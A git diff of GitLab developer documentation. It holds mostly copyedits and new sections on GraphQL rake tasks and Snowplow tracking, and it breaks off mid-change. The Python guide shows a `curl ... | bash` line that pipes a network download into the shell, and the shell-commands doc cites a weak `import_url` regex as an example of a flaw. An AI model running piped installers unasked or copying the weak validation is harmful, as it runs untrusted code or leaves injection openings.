[`Poll-Interval` header](fe_guide/performance.md#realtime-components) +- [`Poll-Interval` header](fe_guide/performance.md#real-time-components) - [RFC 7232](https://tools.ietf.org/html/rfc7232) - [ETag proposal](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/26926) diff --git a/doc/development/product_analytics/index.md b/doc/development/product_analytics/index.md index 4d2168cf304..e8b8e0c4885 100644 --- a/doc/development/product_analytics/index.md +++ b/doc/development/product_analytics/index.md @@ -4,10 +4,5 @@ redirect_to: 'https://about.gitlab.com/handbook/product/product-intelligence-gui This document was moved to [another location](https://about.gitlab.com/handbook/product/product-intelligence-guide/). -<!-- Needed by the Product Intelligence group - -Since our new standard for redirects otherwise lies within the gitlab-docs repo, -as long as we need a redirect to the handbook, we need to retain this file. - --> <!-- This redirect file can be deleted after December 1, 2021. --> <!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/product_analytics/snowplow.md b/doc/development/product_analytics/snowplow.md index bb056ffddfe..ff91e450e1e 100644 --- a/doc/development/product_analytics/snowplow.md +++ b/doc/development/product_analytics/snowplow.md @@ -4,5 +4,5 @@ redirect_to: '../snowplow.md' This document was moved to [another location](../snowplow.md). -<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- This redirect file can be deleted after April 1, 2021. --> <!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/product_analytics/usage_ping.md b/doc/development/product_analytics/usage_ping.md index 5fbdb508bb1..79075157ce4 100644 --- a/doc/development/product_analytics/usage_ping.md +++ b/doc/development/product_analytics/usage_ping.md @@ -4,5 +4,5 @@ redirect_to: '../usage_ping.md' This document was moved to [another location](../usage_ping.md). -<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- This redirect file can be deleted after April 1, 2021. --> <!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/profiling.md b/doc/development/profiling.md index ce9c1191648..5c5ad5f9c39 100644 --- a/doc/development/profiling.md +++ b/doc/development/profiling.md @@ -106,6 +106,8 @@ environment variable `ENABLE_SHERLOCK` to a non empty value. For example: ENABLE_SHERLOCK=1 bundle exec rails s ``` +Sherlock is also [available though the GitLab GDK](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/master/doc/howto/sherlock.md). + Recorded transactions can be found by navigating to `/sherlock/transactions`. ## Bullet @@ -227,5 +229,5 @@ The following table lists these variables along with their default values. GitLab may decide to change these settings in order to speed up application performance, lower memory requirements, or both. You can see how each of these settings affect GC performance, memory use and application start-up time for an idle instance of -GitLab by runnning the `scripts/perf/gc/collect_gc_stats.rb` script. It will output GC stats and general timing data to standard +GitLab by running the `scripts/perf/gc/collect_gc_stats.rb` script. It will output GC stats and general timing data to standard out as CSV. diff --git a/doc/development/projections.md b/doc/development/projections.md index e62f13981c9..c112ec6f119 100644 --- a/doc/development/projections.md +++ b/doc/development/projections.md @@ -27,7 +27,7 @@ You can find a basic list of projection options in - VSCode - [Alternate File](https://marketplace.visualstudio.com/items?itemName=will-wow.vscode-alternate-file) - [projectionist](https://github.com/jarsen/projectionist) - - [jumpto](https://github.com/gmdayley/jumpto) + - [`jumpto`](https://github.com/gmdayley/jumpto) - Atom - [projectionist-atom](https://atom.io/packages/projectionist-atom) - Command-line @@ -35,6 +35,8 @@ You can find a basic list of projection options in ## History +<!-- vale gitlab.Spelling = NO --> This started as a [plugin for vim by tpope](https://github.com/tpope/vim-projectionist) It has since become editor-agnostic and ported to most modern editors. +<!-- vale gitlab.Spelling = YES -->
\ No newline at end of file diff --git a/doc/development/prometheus_metrics.md b/doc/development/prometheus_metrics.md index df13cb7d56c..05a623448bf 100644 --- a/doc/development/prometheus_metrics.md +++ b/doc/development/prometheus_metrics.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Working with Prometheus Metrics +# Working with Prometheus Metrics **(FREE)** ## Adding to the library @@ -75,5 +75,10 @@ This section describes how to add new metrics for self-monitoring 1. Select the appropriate name for your metric. Refer to the guidelines for [Prometheus metric names](https://prometheus.io/docs/practices/naming/#metric-names). 1. Update the list of [GitLab Prometheus metrics](../administration/monitoring/prometheus/gitlab_metrics.md). +1. Carefully choose what labels you want to add to your metric. Values with high cardinality, +like `project_path`, or `project_id` are strongly discouraged because they can affect our services +availability due to the fact that each set of labels is exposed as a new entry in the `/metrics` endpoint. +For example, a histogram with 10 buckets and a label with 100 values would generate 1000 +entries in the export endpoint. 1. Trigger the relevant page or code that records the new metric. 1. Check that the new metric appears at `/-/metrics`. diff --git a/doc/development/pry_debugging.md b/doc/development/pry_debugging.md index f29e0d403cd..d662e6bbc54 100644 --- a/doc/development/pry_debugging.md +++ b/doc/development/pry_debugging.md @@ -10,7 +10,10 @@ info: To determine the technical writer assigned to the Stage/Group associated w To invoke the debugger, place `binding.pry` somewhere in your code. When the Ruby interpreter hits that code, execution stops, -and you can type in commands to debug the state of the program +and you can type in commands to debug the state of the program. + +When debugging code in another process like Puma or Sidekiq, you can use `binding.remote_pry`. +You can then connect to this session by running `pry-remote` from your terminal. ## `byebug` vs `binding.pry` @@ -79,7 +82,7 @@ Similar to source browsing, is [Documentation browsing](https://github.com/pry/p ### Command history -With **Ctrl+R** you can search your [command history](https://github.com/pry/pry/wiki/History). +With <kbd>Control</kbd> + <kbd>R</kbd> you can search your [command history](https://github.com/pry/pry/wiki/History). ## Stepping diff --git a/doc/development/python_guide/index.md b/doc/development/python_guide/index.md index 3291b6c31a9..fe5492c3bd8 100644 --- a/doc/development/python_guide/index.md +++ b/doc/development/python_guide/index.md @@ -14,8 +14,8 @@ As of GitLab 11.10, we require Python 3. ## Installation There are several ways of installing Python on your system. To be able to use the same version we use in production, -we suggest you use [pyenv](https://github.com/pyenv/pyenv). It works and behaves similarly to its counterpart in the -Ruby world: [rbenv](https://github.com/rbenv/rbenv). +we suggest you use [`pyenv`](https://github.com/pyenv/pyenv). It works and behaves similarly to its counterpart in the +Ruby world: [`rbenv`](https://github.com/rbenv/rbenv). ### macOS @@ -35,11 +35,11 @@ curl "https://pyenv.run" | bash Alternatively, you may find `pyenv` available as a system package via your distribution's package manager. -You can read more about it in: <https://github.com/pyenv/pyenv-installer#prerequisites>. +You can read more about it in [the `pyenv` prerequisites](https://github.com/pyenv/pyenv-installer#prerequisites). ### Shell integration -Pyenv installation adds required changes to Bash. If you use a different shell, +`Pyenv` installation adds required changes to Bash. If you use a different shell, check for any additional steps required for it. For Fish, you can install a plugin for [Fisher](https://github.com/jorgebucaran/fisher): diff --git a/doc/development/rake_tasks.md b/doc/development/rake_tasks.md index 226d21b2ecd..13bb39a4a6c 100644 --- a/doc/development/rake_tasks.md +++ b/doc/development/rake_tasks.md @@ -64,9 +64,9 @@ By default, this seeds an average of 10 issues per week for the last 52 weeks per project. All issues are also randomly labeled with team, type, severity, and priority. -#### Seeding groups with sub-groups +#### Seeding groups with subgroups -You can seed groups with sub-groups that contain milestones/projects/issues +You can seed groups with subgroups that contain milestones/projects/issues with the `gitlab:seed:group_seed` task: ```shell @@ -261,6 +261,48 @@ bundle exec rake db:obsolete_ignored_columns Feel free to remove their definitions from their `ignored_columns` definitions. +## Validate GraphQL queries + +To check the validity of one or more of our front-end GraphQL queries, +run: + +```shell +# Validate all queries +bundle exec rake gitlab::graphql:validate +# Validate one query +bundle exec rake gitlab::graphql:validate[path/to/query.graphql] +# Validate a directory +bundle exec rake gitlab::graphql:validate[path/to/queries] +``` + +This prints out a report with an entry for each query, explaining why +each query is invalid if it fails to pass validation. + +We strip out `@client` fields during validation so it is important to mark +client fields with the `@client` directive to avoid false positives. + +## Analyze GraphQL queries + +Analogous to `ANALYZE` in SQL, we can run `gitlab:graphql:analyze` to +estimate the of the cost of running a query. + +Usage: + +```shell +# Analyze all queries +bundle exec rake gitlab::graphql:analyze +# Analyze one query +bundle exec rake gitlab::graphql:analyze[path/to/query.graphql] +# Analyze a directory +bundle exec rake gitlab::graphql:analyze[path/to/queries] +``` + +This prints out a report for each query, including the complexity +of the query if it is valid. + +The complexity depends on the arguments in some cases, so the reported +complexity is a best-effort assessment of the upper bound. + ## Update GraphQL documentation and schema definitions To generate GraphQL documentation based on the GitLab schema, run: diff --git a/doc/development/reactive_caching.md b/doc/development/reactive_caching.md index 5d514ffbfc9..0223f5d91d6 100644 --- a/doc/development/reactive_caching.md +++ b/doc/development/reactive_caching.md @@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # `ReactiveCaching` -> This doc refers to <https://gitlab.com/gitlab-org/gitlab/blob/master/app/models/concerns/reactive_caching.rb>. +> This doc refers to [`reactive_caching.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/app/models/concerns/reactive_caching.rb). The `ReactiveCaching` concern is used for fetching some data in the background and storing it in the Rails cache, keeping it up-to-date for as long as it is being requested. If the @@ -103,7 +103,7 @@ not wait until the background worker completes. - An API that calls a model or service method that uses `ReactiveCaching` should return `202 accepted` when the cache is being calculated (when `#with_reactive_cache` returns `nil`). - It should also - [set the polling interval header](fe_guide/performance.md#realtime-components) with + [set the polling interval header](fe_guide/performance.md#real-time-components) with `Gitlab::PollingInterval.set_header`. - The consumer of the API is expected to poll the API. - You can also consider implementing [ETag caching](polling.md) to reduce the server diff --git a/doc/development/redis.md b/doc/development/redis.md index bb725e3c321..9f90c5ee760 100644 --- a/doc/development/redis.md +++ b/doc/development/redis.md @@ -74,8 +74,10 @@ which is enabled for the `cache` and `shared_state` ## Redis in structured logging -For GitLab Team Members: There are [basic](https://www.youtube.com/watch?v=Uhdj19Dc6vU) and -[advanced](https://youtu.be/jw1Wv2IJxzs) videos that show how you can work with the Redis +For GitLab Team Members: There are <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> +[basic](https://www.youtube.com/watch?v=Uhdj19Dc6vU) and +<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [advanced](https://youtu.be/jw1Wv2IJxzs) +videos that show how you can work with the Redis structured logging fields on GitLab.com. Our [structured logging](logging.md#use-structured-json-logging) for web @@ -183,9 +185,8 @@ The Redis [`PFCOUNT`](https://redis.io/commands/pfcount), [`PFMERGE`](https://redis.io/commands/pfmergge) commands operate on HyperLogLogs, a data structure that allows estimating the number of unique elements with low memory usage. (In addition to the `PFCOUNT` documentation, -Thoughtbot's article on [HyperLogLogs in -Redis](https://thoughtbot.com/blog/hyperloglogs-in-redis) provides a good -background here.) +Thoughtbot's article on [HyperLogLogs in Redis](https://thoughtbot.com/blog/hyperloglogs-in-redis) +provides a good background here.) [`Gitlab::Redis::HLL`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/redis/hll.rb) provides a convenient interface for adding and counting values in HyperLogLogs. diff --git a/doc/development/refactoring_guide/index.md b/doc/development/refactoring_guide/index.md index 224b6bf9b38..a25000589c0 100644 --- a/doc/development/refactoring_guide/index.md +++ b/doc/development/refactoring_guide/index.md @@ -80,4 +80,4 @@ expect(cleanForSnapshot(wrapper.element)).toMatchSnapshot(); - [Pinning test in refactoring dropdown](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/28173) - [Pinning test in refactoring vulnerability_details.vue](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/25830/commits) - [Pinning test in refactoring notes_award_list.vue](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/29528#pinning-test) -- [Video of pair programming session on pinning tests](https://youtu.be/LrakPcspBK4) +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [Video of pair programming session on pinning tests](https://youtu.be/LrakPcspBK4) diff --git a/doc/development/repository_mirroring.md b/doc/development/repository_mirroring.md index 4153bcf77a5..61157c88618 100644 --- a/doc/development/repository_mirroring.md +++ b/doc/development/repository_mirroring.md @@ -8,10 +8,14 @@ info: To determine the technical writer assigned to the Stage/Group associated w ## Deep Dive +<!-- vale gitlab.Spelling = NO --> + In December 2018, Tiago Botelho hosted a Deep Dive (GitLab team members only: `https://gitlab.com/gitlab-org/create-stage/issues/1`) on the GitLab [Pull Repository Mirroring functionality](../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository) to share his domain specific knowledge with anyone who may work in this part of the -codebase in the future. You can find the [recording on YouTube](https://www.youtube.com/watch?v=sSZq0fpdY-Y), +codebase in the future. You can find the <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [recording on YouTube](https://www.youtube.com/watch?v=sSZq0fpdY-Y), and the slides in [PDF](https://gitlab.com/gitlab-org/create-stage/uploads/8693404888a941fd851f8a8ecdec9675/Gitlab_Create_-_Pull_Mirroring_Deep_Dive.pdf). Everything covered in this deep dive was accurate as of GitLab 11.6, and while specific details may have changed since then, it should still serve as a good introduction. + +<!-- vale gitlab.Spelling = YES -->
\ No newline at end of file diff --git a/doc/development/rolling_out_changes_using_feature_flags.md b/doc/development/rolling_out_changes_using_feature_flags.md deleted file mode 100644 index 7456e8df8d9..00000000000 --- a/doc/development/rolling_out_changes_using_feature_flags.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'feature_flags/index.md' ---- - -This document was moved to [another location](feature_flags/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/secure_coding_guidelines.md b/doc/development/secure_coding_guidelines.md index bd98ea170e5..41a7defbc26 100644 --- a/doc/development/secure_coding_guidelines.md +++ b/doc/development/secure_coding_guidelines.md @@ -180,7 +180,7 @@ For other regular expressions, here are a few guidelines: - If there's a clean non-regex solution, such as `String#start_with?`, consider using it - Ruby supports some advanced regex features like [atomic groups](https://www.regular-expressions.info/atomic.html) -and [possessive quantifiers](https://www.regular-expressions.info/possessive.html) that eleminate backtracking +and [possessive quantifiers](https://www.regular-expressions.info/possessive.html) that eliminate backtracking - Avoid nested quantifiers if possible (for example `(a+)+`) - Try to be as precise as possible in your regex and avoid the `.` if there's an alternative - For example, Use `_[^_]+_` instead of `_.*_` to match `_text here_` @@ -288,9 +288,9 @@ XSS issues are commonly classified in three categories, by their delivery method The injected client-side code is executed on the victim's browser in the context of their current session. This means the attacker could perform any same action the victim would normally be able to do through a browser. The attacker would also have the ability to: -- [log victim keystrokes](https://youtu.be/2VFavqfDS6w?t=1367) +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [log victim keystrokes](https://youtu.be/2VFavqfDS6w?t=1367) - launch a network scan from the victim's browser -- potentially [obtain the victim's session tokens](https://youtu.be/2VFavqfDS6w?t=739) +- potentially <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [obtain the victim's session tokens](https://youtu.be/2VFavqfDS6w?t=739) - perform actions that lead to data loss/theft or account takeover Much of the impact is contingent upon the function of the application and the capabilities of the victim's session. For further impact possibilities, please check out [the beef project](https://beefproject.com/). @@ -309,14 +309,14 @@ In most situations, a two-step solution can be used: input validation and output ##### Setting expectations -For any and all input fields, ensure to define expectations on the type/format of input, the contents, [size limits](https://youtu.be/2VFavqfDS6w?t=7582), the context in which it will be output. It's important to work with both security and product teams to determine what is considered acceptable input. +For any and all input fields, ensure to define expectations on the type/format of input, the contents, <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [size limits](https://youtu.be/2VFavqfDS6w?t=7582), the context in which it will be output. It's important to work with both security and product teams to determine what is considered acceptable input. ##### Validate input - Treat all user input as untrusted. - Based on the expectations you [defined above](#setting-expectations): - - Validate the [input size limits](https://youtu.be/2VFavqfDS6w?t=7582). - - Validate the input using an [allowlist approach](https://youtu.be/2VFavqfDS6w?t=7816) to only allow characters through which you are expecting to receive for the field. + - Validate the <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [input size limits](https://youtu.be/2VFavqfDS6w?t=7582). + - Validate the input using an <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [allowlist approach](https://youtu.be/2VFavqfDS6w?t=7816) to only allow characters through which you are expecting to receive for the field. - Input which fails validation should be **rejected**, and not sanitized. - When adding redirects or links to a user-controlled URL, ensure that the scheme is HTTP or HTTPS. Allowing other schemes like `javascript://` can lead to XSS and other security issues. @@ -328,8 +328,8 @@ Once you've [determined when and where](#setting-expectations) the user submitte - Content placed inside HTML elements need to be [HTML entity encoded](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html#rule-1---html-escape-before-inserting-untrusted-data-into-html-element-content). - Content placed into a JSON response needs to be [JSON encoded](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html#rule-31---html-escape-json-values-in-an-html-context-and-read-the-data-with-jsonparse). -- Content placed inside [HTML URL GET parameters](https://youtu.be/2VFavqfDS6w?t=3494) need to be [URL-encoded](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html#rule-5---url-escape-before-inserting-untrusted-data-into-html-url-parameter-values) -- [Additional contexts may require context-specific encoding](https://youtu.be/2VFavqfDS6w?t=2341). +- Content placed inside <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [HTML URL GET parameters](https://youtu.be/2VFavqfDS6w?t=3494) need to be [URL-encoded](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html#rule-5---url-escape-before-inserting-untrusted-data-into-html-url-parameter-values) +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [Additional contexts may require context-specific encoding](https://youtu.be/2VFavqfDS6w?t=2341). ### Additional information @@ -352,10 +352,10 @@ Do also sanitize and validate URL schemes. References: -- [XSS Defense in Rails](https://youtu.be/2VFavqfDS6w?t=2442) -- [XSS Defense with HAML](https://youtu.be/2VFavqfDS6w?t=2796) -- [Validating Untrusted URLs in Ruby](https://youtu.be/2VFavqfDS6w?t=3936) -- [RoR Model Validators](https://youtu.be/2VFavqfDS6w?t=7636) +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [XSS Defense in Rails](https://youtu.be/2VFavqfDS6w?t=2442) +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [XSS Defense with HAML](https://youtu.be/2VFavqfDS6w?t=2796) +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [Validating Untrusted URLs in Ruby](https://youtu.be/2VFavqfDS6w?t=3936) +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [RoR Model Validators](https://youtu.be/2VFavqfDS6w?t=7636) #### XSS mitigation and prevention in JavaScript and Vue @@ -376,7 +376,7 @@ References: #### Content Security Policy -- [Content Security Policy](https://www.youtube.com/watch?v=2VFavqfDS6w&t=12991s) +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [Content Security Policy](https://www.youtube.com/watch?v=2VFavqfDS6w&t=12991s) - [Use nonce-based Content Security Policy for inline JavaScript](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/65330) #### Free form input field @@ -390,26 +390,26 @@ References: ### Internal Developer Training -- [Introduction to XSS](https://www.youtube.com/watch?v=PXR8PTojHmc&t=7785s) -- [Reflected XSS](https://youtu.be/2VFavqfDS6w?t=603s) -- [Persistent XSS](https://youtu.be/2VFavqfDS6w?t=643) -- [DOM XSS](https://youtu.be/2VFavqfDS6w?t=5871) -- [XSS in depth](https://www.youtube.com/watch?v=2VFavqfDS6w&t=111s) -- [XSS Defense](https://youtu.be/2VFavqfDS6w?t=1685) -- [XSS Defense in Rails](https://youtu.be/2VFavqfDS6w?t=2442) -- [XSS Defense with HAML](https://youtu.be/2VFavqfDS6w?t=2796) -- [JavaScript URLs](https://youtu.be/2VFavqfDS6w?t=3274) -- [URL encoding context](https://youtu.be/2VFavqfDS6w?t=3494) -- [Validating Untrusted URLs in Ruby](https://youtu.be/2VFavqfDS6w?t=3936) -- [HTML Sanitization](https://youtu.be/2VFavqfDS6w?t=5075) -- [DOMPurify](https://youtu.be/2VFavqfDS6w?t=5381) -- [Safe Client-side JSON Handling](https://youtu.be/2VFavqfDS6w?t=6334) -- [iframe sandboxing](https://youtu.be/2VFavqfDS6w?t=7043) -- [Input Validation](https://youtu.be/2VFavqfDS6w?t=7489) -- [Validate size limits](https://youtu.be/2VFavqfDS6w?t=7582) -- [RoR model validators](https://youtu.be/2VFavqfDS6w?t=7636) -- [Allowlist input validation](https://youtu.be/2VFavqfDS6w?t=7816) -- [Content Security Policy](https://www.youtube.com/watch?v=2VFavqfDS6w&t=12991s) +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [Introduction to XSS](https://www.youtube.com/watch?v=PXR8PTojHmc&t=7785s) +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [Reflected XSS](https://youtu.be/2VFavqfDS6w?t=603s) +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [Persistent XSS](https://youtu.be/2VFavqfDS6w?t=643) +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [DOM XSS](https://youtu.be/2VFavqfDS6w?t=5871) +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [XSS in depth](https://www.youtube.com/watch?v=2VFavqfDS6w&t=111s) +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [XSS Defense](https://youtu.be/2VFavqfDS6w?t=1685) +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [XSS Defense in Rails](https://youtu.be/2VFavqfDS6w?t=2442) +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [XSS Defense with HAML](https://youtu.be/2VFavqfDS6w?t=2796) +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [JavaScript URLs](https://youtu.be/2VFavqfDS6w?t=3274) +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [URL encoding context](https://youtu.be/2VFavqfDS6w?t=3494) +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [Validating Untrusted URLs in Ruby](https://youtu.be/2VFavqfDS6w?t=3936) +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [HTML Sanitization](https://youtu.be/2VFavqfDS6w?t=5075) +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [DOMPurify](https://youtu.be/2VFavqfDS6w?t=5381) +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [Safe Client-side JSON Handling](https://youtu.be/2VFavqfDS6w?t=6334) +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [iframe sandboxing](https://youtu.be/2VFavqfDS6w?t=7043) +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [Input Validation](https://youtu.be/2VFavqfDS6w?t=7489) +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [Validate size limits](https://youtu.be/2VFavqfDS6w?t=7582) +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [RoR model validators](https://youtu.be/2VFavqfDS6w?t=7636) +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [Allowlist input validation](https://youtu.be/2VFavqfDS6w?t=7816) +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [Content Security Policy](https://www.youtube.com/watch?v=2VFavqfDS6w&t=12991s) ## Path Traversal guidelines @@ -423,14 +423,14 @@ Path Traversal attacks can lead to multiple critical and high severity issues, l ### When to consider -When working with user-controlled filenames/paths and filesystem APIs. +When working with user-controlled filenames/paths and file system APIs. ### Mitigation and prevention In order to prevent Path Traversal vulnerabilities, user-controlled filenames or paths should be validated before being processed. - Comparing user input against an allowlist of allowed values or verifying that it only contains allowed characters. -- After validating the user supplied input, it should be appended to the base directory and the path should be canonicalized using the filesystem API. +- After validating the user supplied input, it should be appended to the base directory and the path should be canonicalized using the file system API. #### GitLab specific validations diff --git a/doc/development/shared_files.md b/doc/development/shared_files.md index 859650c2e6c..6c273f2899d 100644 --- a/doc/development/shared_files.md +++ b/doc/development/shared_files.md @@ -32,7 +32,7 @@ disk in a temporary file so you can perform some checks on it. When the checks pass, you make the file official. In scenarios like this please follow these rules: -- Store the temporary file under `shared/tmp`, i.e. on the same filesystem you +- Store the temporary file under `shared/tmp`, i.e. on the same file system you want the official file to be on. - Use move/rename operations when operating on the file instead of copy operations where possible, because renaming a file is much faster than diff --git a/doc/development/shell_commands.md b/doc/development/shell_commands.md index db72454b482..f28828c2e4e 100644 --- a/doc/development/shell_commands.md +++ b/doc/development/shell_commands.md @@ -202,7 +202,7 @@ When using regular expressions to validate user input that is passed as an argum If you don't, an attacker could use this to execute commands with potentially harmful effect. -For example, when a project's `import_url` is validated like below, the user could trick GitLab into cloning from a Git repository on the local filesystem. +For example, when a project's `import_url` is validated like below, the user could trick GitLab into cloning from a Git repository on the local file system. ```ruby validates :import_url, format: { with: URI.regexp(%w(ssh git http https)) } diff --git a/doc/development/sidekiq_debugging.md b/doc/development/sidekiq_debugging.md deleted file mode 100644 index a9b6e246861..00000000000 --- a/doc/development/sidekiq_debugging.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../administration/troubleshooting/sidekiq.md' ---- - -This document was moved to [another location](../administration/troubleshooting/sidekiq.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/sidekiq_style_guide.md b/doc/development/sidekiq_style_guide.md index e290eaee7c2..ce00934b35c 100644 --- a/doc/development/sidekiq_style_guide.md +++ b/doc/development/sidekiq_style_guide.md @@ -550,7 +550,7 @@ in the default execution mode - using does not account for weights. As we are [moving towards using `sidekiq-cluster` in -Core](https://gitlab.com/gitlab-org/gitlab/-/issues/34396), newly-added +Free](https://gitlab.com/gitlab-org/gitlab/-/issues/34396), newly-added workers do not need to have weights specified. They can simply use the default weight, which is 1. diff --git a/doc/development/snowplow.md b/doc/development/snowplow.md index 6b37936cd93..a56e85ba50d 100644 --- a/doc/development/snowplow.md +++ b/doc/development/snowplow.md @@ -104,9 +104,9 @@ The current method provides several attributes that are sent on each click event | attribute | type | required | description | | --------- | ------- | -------- | ----------- | -| category | text | true | The page or backend area of the application. Unless infeasible, please use the Rails page attribute by default in the frontend, and namespace + classname on the backend. | +| category | text | true | The page or backend area of the application. Unless infeasible, please use the Rails page attribute by default in the frontend, and namespace + class name on the backend. | | action | text | true | The action the user is taking, or aspect that's being instrumented. The first word should always describe the action or aspect: clicks should be `click`, activations should be `activate`, creations should be `create`, etc. Use underscores to describe what was acted on; for example, activating a form field would be `activate_form_input`. An interface action like clicking on a dropdown would be `click_dropdown`, while a behavior like creating a project record from the backend would be `create_project` | -| label | text | false | The specific element, or object that's being acted on. This is either the label of the element (e.g. a tab labeled 'Create from template' may be `create_from_template`) or a unique identifier if no text is available (e.g. closing the Groups dropdown in the top navbar might be `groups_dropdown_close`), or it could be the name or title attribute of a record being created. | +| label | text | false | The specific element, or object that's being acted on. This is either the label of the element (e.g. a tab labeled 'Create from template' may be `create_from_template`) or a unique identifier if no text is available (e.g. closing the Groups dropdown in the top navigation bar might be `groups_dropdown_close`), or it could be the name or title attribute of a record being created. | | property | text | false | Any additional property of the element, or object being acted on. | | value | decimal | false | Describes a numeric value or something directly related to the event. This could be the value of an input (e.g. `10` when clicking `internal` visibility). | @@ -120,9 +120,9 @@ GitLab provides `Tracking`, an interface that wraps the [Snowplow JavaScript Tra | field | type | default value | description | |:-----------|:-------|:---------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| `category` | string | document.body.dataset.page | Page or subsection of a page that events are being captured within. | +| `category` | string | `document.body.dataset.page` | Page or subsection of a page that events are being captured within. | | `action` | string | 'generic' | Action the user is taking. Clicks should be `click` and activations should be `activate`, so for example, focusing a form field would be `activate_form_input`, and clicking a button would be `click_button`. | -| `data` | object | {} | Additional data such as `label`, `property`, `value`, and `context` as described in our [Structured event taxonomy](#structured-event-taxonomy). | +| `data` | object | `{}` | Additional data such as `label`, `property`, `value`, and `context` as described in our [Structured event taxonomy](#structured-event-taxonomy). | ### Tracking in HAML (or Vue Templates) @@ -303,11 +303,17 @@ GitLab provides `Gitlab::Tracking`, an interface that wraps the [Snowplow Ruby T Custom event tracking and instrumentation can be added by directly calling the `GitLab::Tracking.event` class method, which accepts the following arguments: -| argument | type | default value | description | -|:-----------|:-------|:--------------|:-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| `category` | string | 'application' | Area or aspect of the application. This could be `HealthCheckController` or `Lfs::FileTransformer` for instance. | -| `action` | string | 'generic' | The action being taken, which can be anything from a controller action like `create` to something like an Active Record callback. | -| `data` | object | {} | Additional data such as `label`, `property`, `value`, and `context` as described in [Structured event taxonomy](#structured-event-taxonomy). These are set as empty strings if you don't provide them. | +| argument | type | default value | description | +|------------|---------------------------|---------------|-----------------------------------------------------------------------------------------------------------------------------------| +| `category` | String | | Area or aspect of the application. This could be `HealthCheckController` or `Lfs::FileTransformer` for instance. | +| `action` | String | | The action being taken, which can be anything from a controller action like `create` to something like an Active Record callback. | +| `label` | String | nil | As described in [Structured event taxonomy](#structured-event-taxonomy). | +| `property` | String | nil | As described in [Structured event taxonomy](#structured-event-taxonomy). | +| `value` | Numeric | nil | As described in [Structured event taxonomy](#structured-event-taxonomy). | +| `context` | Array\[SelfDescribingJSON\] | nil | An array of custom contexts to send with this event. Most events should not have any custom contexts. | +| `project` | Project | nil | The project associated with the event. | +| `user` | User | nil | The user associated with the event. | +| `namespace` | Namespace | nil | The namespace associated with the event. | Tracking can be viewed as either tracking user behavior, or can be used for instrumentation to monitor and visualize performance over time in an area or aspect of code. @@ -318,10 +324,8 @@ class Projects::CreateService < BaseService def execute project = Project.create(params) - Gitlab::Tracking.event('Projects::CreateService', 'create_project', - label: project.errors.full_messages.to_sentence, 